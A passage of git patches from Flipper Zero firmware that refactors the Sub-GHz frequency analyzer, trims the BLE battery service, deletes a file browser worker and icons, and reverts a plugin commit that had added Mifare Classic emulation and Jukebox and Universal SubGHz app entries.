WorkerEvtFolderEnter); -} - -void file_browser_worker_folder_exit(BrowserWorker* browser) { - furi_assert(browser); - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderExit); -} - -void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count) { - furi_assert(browser); - browser->load_offset = offset; - browser->load_count = count; - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtLoad); -} diff --git a/applications/gui/modules/file_browser_worker.h b/applications/gui/modules/file_browser_worker.h deleted file mode 100644 index 821d5103f..000000000 --- a/applications/gui/modules/file_browser_worker.h +++ /dev/null @@ -1,57 +0,0 @@ -#pragma once - -#include "m-string.h" -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct BrowserWorker BrowserWorker; -typedef void (*BrowserWorkerFolderOpenCallback)( - void* context, - uint32_t item_cnt, - int32_t file_idx, - bool is_root); -typedef void (*BrowserWorkerListLoadCallback)(void* context, uint32_t list_load_offset); -typedef void (*BrowserWorkerListItemCallback)( - void* context, - string_t item_path, - bool is_folder, - bool is_last); -typedef void (*BrowserWorkerLongLoadCallback)(void* context); - -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext); - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets); - -void file_browser_worker_free(BrowserWorker* browser); - -void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context); - -void file_browser_worker_set_folder_callback( - BrowserWorker* browser, - BrowserWorkerFolderOpenCallback cb); - -void file_browser_worker_set_list_callback( - BrowserWorker* browser, - BrowserWorkerListLoadCallback cb); - -void file_browser_worker_set_item_callback( - BrowserWorker* browser, - BrowserWorkerListItemCallback cb); - -void file_browser_worker_set_long_load_callback( - BrowserWorker* browser, - BrowserWorkerLongLoadCallback cb); - -void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx); - -void file_browser_worker_folder_exit(BrowserWorker* browser); - -void file_browser_worker_load(BrowserWorker* browser, uint32_t offset, uint32_t count); - -#ifdef __cplusplus -} -#endif diff --git a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c index aedd666df..c0e1fdbaa 100644 --- a/applications/subghz/helpers/subghz_frequency_analyzer_worker.c +++ b/applications/subghz/helpers/subghz_frequency_analyzer_worker.c @@ -1,12 +1,10 @@ #include "subghz_frequency_analyzer_worker.h" -#include +#include #include #include "../subghz_i.h" -#define SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD -90.0f - static const uint8_t subghz_preset_ook_58khz[][2] = { {CC1101_FIFOTHR, 0x47}, // The only important bit is ADC_RETENTION, FIFO Tx=33 Rx=32 {CC1101_MDMCFG4, 0xF5}, // Rx BW filter is 58.035714kHz @@ -39,16 +37,6 @@ struct SubGhzFrequencyAnalyzerWorker { void* context; }; -static void subghz_frequency_analyzer_worker_load_registers(const uint8_t data[][2]) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - uint32_t i = 0; - while(data[i][0]) { - cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, data[i][0], data[i][1]); - i++; - } - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); -} - // running average with adaptive coefficient static uint32_t subghz_frequency_analyzer_worker_expRunningAverageAdaptive( SubGhzFrequencyAnalyzerWorker* instance, @@ -77,55 +65,27 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { float rssi; uint32_t frequency; uint32_t frequency_start; - CC1101Status status; //Start CC1101 furi_hal_subghz_reset(); - - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - cc1101_flush_rx(&furi_hal_spi_bus_handle_subghz); - cc1101_flush_tx(&furi_hal_spi_bus_handle_subghz); - cc1101_write_reg(&furi_hal_spi_bus_handle_subghz, CC1101_IOCFG0, CC1101IocfgHW); - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL2, - 0b0000111); // 00 - DVGA all; 000 - MAX LNA+LNA2; 111 - MAIN_TARGET 42 dB - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL1, - 0b00000000); // 0; 0 - LNA 2 gain is decreased to minimum before decreasing LNA gain; 00 - Relative carrier sense threshold disabled; 0000 - RSSI to MAIN_TARGET - cc1101_write_reg( - &furi_hal_spi_bus_handle_subghz, - CC1101_AGCCTRL0, - 0b00000001); // 00 - No hysteresis, medium asymmetric dead zone, medium gain ; 00 - 8 samples agc; 00 - Normal AGC, 01 - 8dB boundary - - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - + furi_hal_subghz_load_preset(FuriHalSubGhzPresetOok650Async); + furi_hal_subghz_set_frequency(433920000); + furi_hal_subghz_flush_rx(); furi_hal_subghz_set_path(FuriHalSubGhzPathIsolate); + furi_hal_subghz_rx(); while(instance->worker_running) { osDelay(10); frequency_rssi.rssi = -127.0f; furi_hal_subghz_idle(); - subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_650khz); - + furi_hal_subghz_load_registers(subghz_preset_ook_650khz); for(size_t i = 0; i < subghz_setting_get_frequency_count(instance->setting); i++) { if(furi_hal_subghz_is_frequency_valid( subghz_setting_get_frequency(instance->setting, i))) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); - frequency = cc1101_set_frequency( - &furi_hal_spi_bus_handle_subghz, + furi_hal_subghz_idle(); + frequency = furi_hal_subghz_set_frequency( subghz_setting_get_frequency(instance->setting, i)); - - cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); - do { - status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); - } while(status.STATE != CC1101StateIDLE); - - cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - + furi_hal_subghz_rx(); osDelay(3); rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { @@ -135,28 +95,19 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + if(frequency_rssi.rssi > -90.0) { // -0.5 ... 433.92 ... +0.5 - frequency_start = frequency_rssi.frequency - 500000; + frequency_start = frequency_rssi.frequency - 250000; + //step 10KHz frequency_rssi.rssi = -127.0; furi_hal_subghz_idle(); - subghz_frequency_analyzer_worker_load_registers(subghz_preset_ook_58khz); - //step 10KHz + furi_hal_subghz_load_registers(subghz_preset_ook_58khz); for(uint32_t i = frequency_start; i < frequency_start + 500000; i += 10000) { if(furi_hal_subghz_is_frequency_valid(i)) { - furi_hal_spi_acquire(&furi_hal_spi_bus_handle_subghz); - cc1101_switch_to_idle(&furi_hal_spi_bus_handle_subghz); - frequency = cc1101_set_frequency(&furi_hal_spi_bus_handle_subghz, i); - - cc1101_calibrate(&furi_hal_spi_bus_handle_subghz); - do { - status = cc1101_get_status(&furi_hal_spi_bus_handle_subghz); - } while(status.STATE != CC1101StateIDLE); - - cc1101_switch_to_rx(&furi_hal_spi_bus_handle_subghz); - furi_hal_spi_release(&furi_hal_spi_bus_handle_subghz); - - osDelay(5); + furi_hal_subghz_idle(); + frequency = furi_hal_subghz_set_frequency(i); + furi_hal_subghz_rx(); + osDelay(3); rssi = furi_hal_subghz_get_rssi(); if(frequency_rssi.rssi < rssi) { frequency_rssi.rssi = rssi; @@ -166,7 +117,7 @@ static int32_t subghz_frequency_analyzer_worker_thread(void* context) { } } - if(frequency_rssi.rssi > SUBGHZ_FREQUENCY_ANALYZER_THRESHOLD) { + if(frequency_rssi.rssi > -90.0) { instance->count_repet = 20; if(instance->filVal) { frequency_rssi.frequency = diff --git a/assets/compiled/assets_icons.c b/assets/compiled/assets_icons.c index 6e05e9d89..4992c7d96 100644 --- a/assets/compiled/assets_icons.c +++ b/assets/compiled/assets_icons.c @@ -40,9 +40,6 @@ const uint8_t* const _I_125_10px[] = {_I_125_10px_0}; const uint8_t _I_Nfc_10px_0[] = {0x00,0x80,0x00,0x00,0x01,0x22,0x02,0x43,0x02,0x45,0x02,0x49,0x02,0x31,0x02,0x22,0x02,0x00,0x01,0x80,0x00,}; const uint8_t* const _I_Nfc_10px[] = {_I_Nfc_10px_0}; -const uint8_t _I_back_10px_0[] = {0x00,0x00,0x00,0x10,0x00,0x38,0x00,0x7C,0x00,0xFE,0x00,0x38,0x00,0x38,0x00,0xF8,0x01,0xF8,0x01,0x00,0x00,}; -const uint8_t* const _I_back_10px[] = {_I_back_10px_0}; - const uint8_t _I_badusb_10px_0[] = {0x01,0x00,0x11,0x00,0x00,0x0f,0xe2,0x01,0xfc,0x80,0xdd,0x20,0x32,0x48,0x08,0x14,0x40,0x23,0xa8,0x08,0xa0,}; const uint8_t* const _I_badusb_10px[] = {_I_badusb_10px_0}; @@ -58,9 +55,6 @@ const uint8_t* const _I_ibutt_10px[] = {_I_ibutt_10px_0}; const uint8_t _I_ir_10px_0[] = {0x00,0xFC,0x00,0x02,0x01,0x79,0x02,0x84,0x00,0x30,0x00,0x00,0x00,0x30,0x00,0x58,0x00,0x78,0x00,0xFF,0x03,}; const uint8_t* const _I_ir_10px[] = {_I_ir_10px_0}; -const uint8_t _I_loading_10px_0[] = {0x00,0xFE,0x00,0x82,0x00,0xBA,0x00,0x54,0x00,0x28,0x00,0x28,0x00,0x44,0x00,0x92,0x00,0xBA,0x00,0xFE,0x00,}; -const uint8_t* const _I_loading_10px[] = {_I_loading_10px_0}; - const uint8_t _I_sub1_10px_0[] = {0x01,0x00,0x12,0x00,0x81,0x40,0x69,0x30,0x2c,0x2c,0x0b,0x6a,0x01,0x28,0x0c,0x0a,0x65,0x01,0x98,0x40,0x00,0x26,}; const uint8_t* const _I_sub1_10px[] = {_I_sub1_10px_0}; @@ -736,13 +730,11 @@ const Icon A_Levelup1_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rat const Icon A_Levelup2_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rate=2,.frames=_A_Levelup2_128x64}; const Icon I_125_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_125_10px}; const Icon I_Nfc_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_Nfc_10px}; -const Icon I_back_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_back_10px}; const Icon I_badusb_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_badusb_10px}; const Icon I_ble_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ble_10px}; const Icon I_dir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_dir_10px}; const Icon I_ibutt_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ibutt_10px}; const Icon I_ir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ir_10px}; -const Icon I_loading_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_loading_10px}; const Icon I_sub1_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_sub1_10px}; const Icon I_u2f_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_u2f_10px}; const Icon I_unknown_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_unknown_10px}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 24357b34e..c824d97fc 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -7,13 +7,11 @@ extern const Icon A_Levelup1_128x64; extern const Icon A_Levelup2_128x64; extern const Icon I_125_10px; extern const Icon I_Nfc_10px; -extern const Icon I_back_10px; extern const Icon I_badusb_10px; extern const Icon I_ble_10px; extern const Icon I_dir_10px; extern const Icon I_ibutt_10px; extern const Icon I_ir_10px; -extern const Icon I_loading_10px; extern const Icon I_sub1_10px; extern const Icon I_u2f_10px; extern const Icon I_unknown_10px; diff --git a/assets/icons/Archive/back_10px.png b/assets/icons/Archive/back_10px.png deleted file mode 100644 index 008efe82fa129f55c8efa77688dd507f31398896..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 154 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V6Od#Ih`sfGge++G4X{LmR$r2S$euShDcma{&W9q1G|A@v4nS_xAT(=AqI)BoYRaGO@;Li wag`sfGge++QC**pItze8KAtX)ArhBs`vdt77;ren`<{QJxM$1n6@^=3kBM_gs5bkj zOgNacP$Dkno^tQ4ONX;p$w=sbzP$Pyzt8HuHJfiox2e6^5wrUCr{B&G7(ZT+pZ{3J RO%!M@gQu&X%Q~loCIH;wIT`=} diff --git a/firmware/targets/f7/ble_glue/app_conf.h b/firmware/targets/f7/ble_glue/app_conf.h index 1d7474da5..1406f9649 100644 --- a/firmware/targets/f7/ble_glue/app_conf.h +++ b/firmware/targets/f7/ble_glue/app_conf.h @@ -127,7 +127,7 @@ * Maximum number of simultaneous connections that the device will support. * Valid values are from 1 to 8 */ -#define CFG_BLE_NUM_LINK 1 +#define CFG_BLE_NUM_LINK 2 /** * Maximum number of Services that can be stored in the GATT database. diff --git a/firmware/targets/f7/ble_glue/battery_service.c b/firmware/targets/f7/ble_glue/battery_service.c index b35dd89b2..85f1eeea0 100644 --- a/firmware/targets/f7/ble_glue/battery_service.c +++ b/firmware/targets/f7/ble_glue/battery_service.c @@ -8,44 +8,13 @@ typedef struct { uint16_t svc_handle; - uint16_t battery_level_char_handle; - uint16_t power_state_char_handle; + uint16_t char_level_handle; } BatterySvc; -enum { - // Common states - BatterySvcPowerStateUnknown = 0b00, - BatterySvcPowerStateUnsupported = 0b01, - // Level states - BatterySvcPowerStateGoodLevel = 0b10, - BatterySvcPowerStateCriticallyLowLevel = 0b11, - // Charging states - BatterySvcPowerStateNotCharging = 0b10, - BatterySvcPowerStateCharging = 0b11, - // Discharging states - BatterySvcPowerStateNotDischarging = 0b10, - BatterySvcPowerStateDischarging = 0b11, - // Battery states - BatterySvcPowerStateBatteryNotPresent = 0b10, - BatterySvcPowerStateBatteryPresent = 0b11, -}; - -typedef struct { - uint8_t present : 2; - uint8_t discharging : 2; - uint8_t charging : 2; - uint8_t level : 2; -} BattrySvcPowerState; - -_Static_assert(sizeof(BattrySvcPowerState) == 1, "Incorrect structure size"); - static BatterySvc* battery_svc = NULL; -#define BATTERY_POWER_STATE (0x2A1A) - static const uint16_t service_uuid = BATTERY_SERVICE_UUID; -static const uint16_t battery_level_char_uuid = BATTERY_LEVEL_CHAR_UUID; -static const uint16_t power_state_char_uuid = BATTERY_POWER_STATE; +static const uint16_t char_battery_level_uuid = BATTERY_LEVEL_CHAR_UUID; void battery_svc_start() { battery_svc = malloc(sizeof(BatterySvc)); @@ -53,7 +22,7 @@ void battery_svc_start() { // Add Battery service status = aci_gatt_add_service( - UUID_TYPE_16, (Service_UUID_t*)&service_uuid, PRIMARY_SERVICE, 8, &battery_svc->svc_handle); + UUID_TYPE_16, (Service_UUID_t*)&service_uuid, PRIMARY_SERVICE, 4, &battery_svc->svc_handle); if(status) { FURI_LOG_E(TAG, "Failed to add Battery service: %d", status); } @@ -61,29 +30,14 @@ void battery_svc_start() { status = aci_gatt_add_char( battery_svc->svc_handle, UUID_TYPE_16, - (Char_UUID_t*)&battery_level_char_uuid, + (Char_UUID_t*)&char_battery_level_uuid, 1, CHAR_PROP_READ | CHAR_PROP_NOTIFY, ATTR_PERMISSION_AUTHEN_READ, GATT_DONT_NOTIFY_EVENTS, 10, CHAR_VALUE_LEN_CONSTANT, - &battery_svc->battery_level_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); - } - // Add Power state characteristic - status = aci_gatt_add_char( - battery_svc->svc_handle, - UUID_TYPE_16, - (Char_UUID_t*)&power_state_char_uuid, - 1, - CHAR_PROP_READ | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &battery_svc->power_state_char_handle); + &battery_svc->char_level_handle); if(status) { FURI_LOG_E(TAG, "Failed to add Battery level characteristic: %d", status); } @@ -93,13 +47,7 @@ void battery_svc_stop() { tBleStatus status; if(battery_svc) { // Delete Battery level characteristic - status = - aci_gatt_del_char(battery_svc->svc_handle, battery_svc->battery_level_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); - } - // Delete Power state characteristic - status = aci_gatt_del_char(battery_svc->svc_handle, battery_svc->power_state_char_handle); + status = aci_gatt_del_char(battery_svc->svc_handle, battery_svc->char_level_handle); if(status) { FURI_LOG_E(TAG, "Failed to delete Battery level characteristic: %d", status); } @@ -125,37 +73,7 @@ bool battery_svc_update_level(uint8_t battery_charge) { // Update battery level characteristic FURI_LOG_D(TAG, "Updating battery level characteristic"); tBleStatus result = aci_gatt_update_char_value( - battery_svc->svc_handle, battery_svc->battery_level_char_handle, 0, 1, &battery_charge); - if(result) { - FURI_LOG_E(TAG, "Failed updating RX characteristic: %d", result); - } - return result != BLE_STATUS_SUCCESS; -} - -bool battery_svc_update_power_state(bool is_charging) { - // Check if service was started - if(battery_svc == NULL) { - return false; - } - // Update power state characteristic - BattrySvcPowerState power_state = { - .level = BatterySvcPowerStateUnsupported, - .present = BatterySvcPowerStateBatteryPresent, - }; - if(is_charging) { - power_state.charging = BatterySvcPowerStateCharging; - power_state.discharging = BatterySvcPowerStateNotDischarging; - } else { - power_state.charging = BatterySvcPowerStateNotCharging; - power_state.discharging = BatterySvcPowerStateDischarging; - } - FURI_LOG_D(TAG, "Updating power state characteristic"); - tBleStatus result = aci_gatt_update_char_value( - battery_svc->svc_handle, - battery_svc->power_state_char_handle, - 0, - 1, - (uint8_t*)&power_state); + battery_svc->svc_handle, battery_svc->char_level_handle, 0, 1, &battery_charge); if(result) { FURI_LOG_E(TAG, "Failed updating RX characteristic: %d", result); } diff --git a/firmware/targets/f7/ble_glue/battery_service.h b/firmware/targets/f7/ble_glue/battery_service.h index 10676648b..2d35e252d 100644 --- a/firmware/targets/f7/ble_glue/battery_service.h +++ b/firmware/targets/f7/ble_glue/battery_service.h @@ -15,8 +15,6 @@ bool battery_svc_is_started(); bool battery_svc_update_level(uint8_t battery_level); -bool battery_svc_update_power_state(bool is_charging); - #ifdef __cplusplus } #endif diff --git a/firmware/targets/f7/ble_glue/serial_service.c b/firmware/targets/f7/ble_glue/serial_service.c index 8df8aaa0b..a5d3b97a1 100644 --- a/firmware/targets/f7/ble_glue/serial_service.c +++ b/firmware/targets/f7/ble_glue/serial_service.c @@ -54,23 +54,6 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { } serial_svc->bytes_ready_to_receive -= MIN( serial_svc->bytes_ready_to_receive, attribute_modified->Attr_Data_Length); - - // Update flow control characteristic without notification - uint32_t buff_size_reversed = - REVERSE_BYTES_U32(serial_svc->bytes_ready_to_receive); - tBleStatus result = aci_gatt_update_char_value_ext( - 0, - serial_svc->svc_handle, - serial_svc->flow_ctrl_char_handle, - 0, - sizeof(uint32_t), - 0, - sizeof(uint32_t), - (uint8_t*)&buff_size_reversed); - if(result) { - FURI_LOG_E(TAG, "Failed to update flow control char: %02X", result); - } - SerialServiceEvent event = { .event = SerialServiceEventTypeDataReceived, .data = { diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt.c b/firmware/targets/f7/furi_hal/furi_hal_bt.c index 426fd8d14..48d69844d 100755 --- a/firmware/targets/f7/furi_hal/furi_hal_bt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt.c @@ -284,12 +284,6 @@ void furi_hal_bt_update_battery_level(uint8_t battery_level) { } } -void furi_hal_bt_update_power_state(bool battery_is_charging) { - if(battery_svc_is_started()) { - battery_svc_update_power_state(battery_is_charging); - } -} - void furi_hal_bt_get_key_storage_buff(uint8_t** key_buff_addr, uint16_t* key_buff_size) { ble_app_get_key_storage_buff(key_buff_addr, key_buff_size); } diff --git a/firmware/targets/furi_hal_include/furi_hal_bt.h b/firmware/targets/furi_hal_include/furi_hal_bt.h index 7d1b0858e..73b16becb 100644 --- a/firmware/targets/furi_hal_include/furi_hal_bt.h +++ b/firmware/targets/furi_hal_include/furi_hal_bt.h @@ -91,12 +91,6 @@ bool furi_hal_bt_change_app(FuriHalBtProfile profile, GapEventCallback event_cb, */ void furi_hal_bt_update_battery_level(uint8_t battery_level); -/** Update battery power state - * - * @param battery_is_charging battery charging state - */ -void furi_hal_bt_update_power_state(bool battery_is_charging); - /** Checks if BLE state is active * * @return true if device is connected or advertising, false otherwise From 970833636760ddec061a37806be9a8e6ac2e0028 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Thu, 19 May 2022 20:05:13 +0300 Subject: [PATCH 188/461] Revert "fetch wplugins" This reverts commit 4760c1c5ce0a0f3ac622b6b9b6eb09be1d43636b. --- applications/applications.c | 32 ++-- applications/nfc/nfc_worker.c | 23 --- applications/nfc/nfc_worker.h | 1 - applications/nfc/scenes/nfc_scene_config.h | 1 - .../scenes/nfc_scene_emulate_mifare_classic.c | 64 ------- .../nfc/scenes/nfc_scene_saved_menu.c | 12 +- assets/compiled/assets_icons.c | 74 ++++---- assets/compiled/assets_icons.h | 1 - .../TouchTunes_14/frame_00_delay-0.04s.png | Bin 470 -> 0 bytes .../TouchTunes_14/frame_01_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_02_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_03_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_04_delay-0.04s.png | Bin 401 -> 0 bytes .../TouchTunes_14/frame_05_delay-0.04s.png | Bin 397 -> 0 bytes .../TouchTunes_14/frame_06_delay-0.04s.png | Bin 400 -> 0 bytes .../TouchTunes_14/frame_07_delay-0.04s.png | Bin 404 -> 0 bytes .../TouchTunes_14/frame_08_delay-0.04s.png | Bin 414 -> 0 bytes .../TouchTunes_14/frame_09_delay-0.04s.png | Bin 427 -> 0 bytes .../TouchTunes_14/frame_10_delay-0.04s.png | Bin 427 -> 0 bytes .../TouchTunes_14/frame_11_delay-0.04s.png | Bin 426 -> 0 bytes .../TouchTunes_14/frame_12_delay-0.04s.png | Bin 431 -> 0 bytes .../TouchTunes_14/frame_13_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_14_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_15_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_16_delay-0.04s.png | Bin 424 -> 0 bytes .../TouchTunes_14/frame_17_delay-0.04s.png | Bin 426 -> 0 bytes .../TouchTunes_14/frame_18_delay-0.04s.png | Bin 418 -> 0 bytes .../TouchTunes_14/frame_19_delay-0.04s.png | Bin 419 -> 0 bytes .../TouchTunes_14/frame_20_delay-0.04s.png | Bin 425 -> 0 bytes .../TouchTunes_14/frame_21_delay-0.04s.png | Bin 415 -> 0 bytes .../TouchTunes_14/frame_22_delay-0.04s.png | Bin 405 -> 0 bytes .../TouchTunes_14/frame_23_delay-0.04s.png | Bin 394 -> 0 bytes .../TouchTunes_14/frame_24_delay-0.04s.png | Bin 401 -> 0 bytes .../TouchTunes_14/frame_25_delay-0.04s.png | Bin 401 -> 0 bytes .../TouchTunes_14/frame_26_delay-0.04s.png | Bin 404 -> 0 bytes .../TouchTunes_14/frame_27_delay-0.04s.png | Bin 410 -> 0 bytes .../TouchTunes_14/frame_28_delay-0.04s.png | Bin 411 -> 0 bytes .../TouchTunes_14/frame_29_delay-0.04s.png | Bin 411 -> 0 bytes .../icons/MainMenu/TouchTunes_14/frame_rate | 1 - .../MainMenu/UniversalRemote_14/frame_1.png | Bin 170 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_2.png | Bin 165 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_3.png | Bin 171 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_4.png | Bin 168 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_5.png | Bin 169 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_6.png | Bin 165 -> 0 bytes .../MainMenu/UniversalRemote_14/frame_7.png | Bin 166 -> 0 bytes firmware/targets/f7/furi_hal/furi_hal_nfc.c | 89 +-------- .../targets/furi_hal_include/furi_hal_nfc.h | 5 - lib/digital_signal/digital_signal.c | 173 ------------------ lib/digital_signal/digital_signal.h | 28 --- lib/lib.mk | 5 - lib/nfc_protocols/crypto1.c | 2 +- lib/nfc_protocols/crypto1.h | 2 +- lib/nfc_protocols/mifare_classic.c | 115 ------------ lib/nfc_protocols/mifare_classic.h | 8 - lib/nfc_protocols/nfca.c | 72 -------- lib/nfc_protocols/nfca.h | 14 -- 57 files changed, 58 insertions(+), 664 deletions(-) delete mode 100644 applications/nfc/scenes/nfc_scene_emulate_mifare_classic.c delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_01_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_06_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_07_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_08_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_09_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_10_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_11_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_12_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_13_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_14_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_15_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_16_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_17_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_18_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_19_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_20_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_21_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_22_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_23_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_24_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_25_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_26_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_27_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_28_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_29_delay-0.04s.png delete mode 100644 assets/icons/MainMenu/TouchTunes_14/frame_rate delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_1.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_2.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_3.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_4.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_5.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_6.png delete mode 100644 assets/icons/MainMenu/UniversalRemote_14/frame_7.png delete mode 100644 lib/digital_signal/digital_signal.c delete mode 100644 lib/digital_signal/digital_signal.h diff --git a/applications/applications.c b/applications/applications.c index e1e58c327..a4e81a88d 100644 --- a/applications/applications.c +++ b/applications/applications.c @@ -230,22 +230,6 @@ const FlipperApplication FLIPPER_APPS[] = { .flags = FlipperApplicationFlagDefault}, #endif -#ifdef APP_UNIVERSALRF - {.app = universal_rf_remote_app, - .name = "Universal SubGHz", - .stack_size = 2048, - .icon = &A_UniversalRemote_14, - .flags = FlipperApplicationFlagDefault}, -#endif - -#ifdef APP_JUKEBOX - {.app = jukebox_app, - .name = "Jukebox", - .stack_size = 2048, - .icon = &A_TouchTunes_14, - .flags = FlipperApplicationFlagDefault}, -#endif - #ifdef APP_LF_RFID {.app = lfrfid_app, .name = "125 kHz RFID", @@ -374,6 +358,14 @@ const FlipperApplication FLIPPER_PLUGINS[] = { }, #endif +#ifdef APP_JUKEBOX + {.app = jukebox_app, + .name = "Jukebox", + .stack_size = 2048, + .icon = &A_UniversalRemote_14, + .flags = FlipperApplicationFlagDefault}, +#endif + #ifdef APP_MUSIC_PLAYER {.app = music_player_app, .name = "Music Player", @@ -402,6 +394,14 @@ const FlipperApplication FLIPPER_PLUGINS[] = { {.app = tetris_game_app, .name = "Tetris Game", .stack_size = 1024, .icon = NULL}, #endif +#ifdef APP_UNIVERSALRF + {.app = universal_rf_remote_app, + .name = "Universal SubGHz", + .stack_size = 2048, + .icon = &A_UniversalRemote_14, + .flags = FlipperApplicationFlagDefault}, +#endif + {.app = wav_player_app, .name = "Wav Player", .stack_size = 4096, diff 